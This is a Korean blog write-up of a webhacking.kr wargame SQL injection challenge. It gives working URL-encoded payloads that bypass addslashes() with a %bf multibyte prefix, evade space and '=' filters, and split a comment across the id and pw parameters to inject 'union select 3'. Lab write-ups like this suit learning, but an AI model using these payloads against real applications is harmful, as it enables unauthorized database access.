SQL INJECTION 공격으로 lv 3을 select 해야한다.
제일 처음 생각나는 공격 구문은
~~~ where id='' or lv=3#' 이었다.
따라서 id=' or lv=3#'
1차 공격 쿼리 id=%27%20||%20lv%3D3%23%27
하지만 여기서 addslashes(), 띄어쓰기 필터링, = 필터링 등을 bypass 하는 구문으로 바꿔야한다.
따라서 싱글쿼터(%27)앞에 %bf 붙여주고, %20 -> %0a 로 바꿔주었다.
2차 공격 쿼리 id=%bf%27%7C%7Clv%0alike%0a%bf%273%bf%27%23%bf%27
하지만 Wrong이 출력 되었다. 소스코드를 다시 보면, 데이터가 없을 때 Wrong이 출력되는 것으로 보아, union select 로 꺼내야 할 것 같다.
하지만 id에는 union 필터링이 걸려있기 때문에, pw 까지 이용해준다.
id='/*
pw=*/ union select 3#'
이런 식으로 입력값이 들어간다면 쿼리문은
"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"
에서
"select lv from chall50 where id=''/* and pw=md5('*/ union select 3#'')"
이렇게 된다. 그럼 최종 쿼리문은 /* */ 사이가 주석으로 변하고
"select lv from chall50 where id=''/* and pw=md5('*/ union select 3#'')"
where id='' union select 3 으로 변신..!
따라서 필터링을 bypass 하는 공격 구문을 작성하면
id=%bf%27%2F*
pw=*%2F%0aunion%0aselect%0a3%23
풀리게 됩니당
'Wargame > Webhacking.kr Writeup' 카테고리의 다른 글
Webhacking.kr - New: NotSQL Writeup (0) | 2021.07.23 |
---|---|
Webhacking.kr old:22 Write up (0) | 2021.07.16 |
Webhacking.kr :old-9 Write up (0) | 2021.07.06 |
Webhacking.kr :old-2 Write up (0) | 2021.07.06 |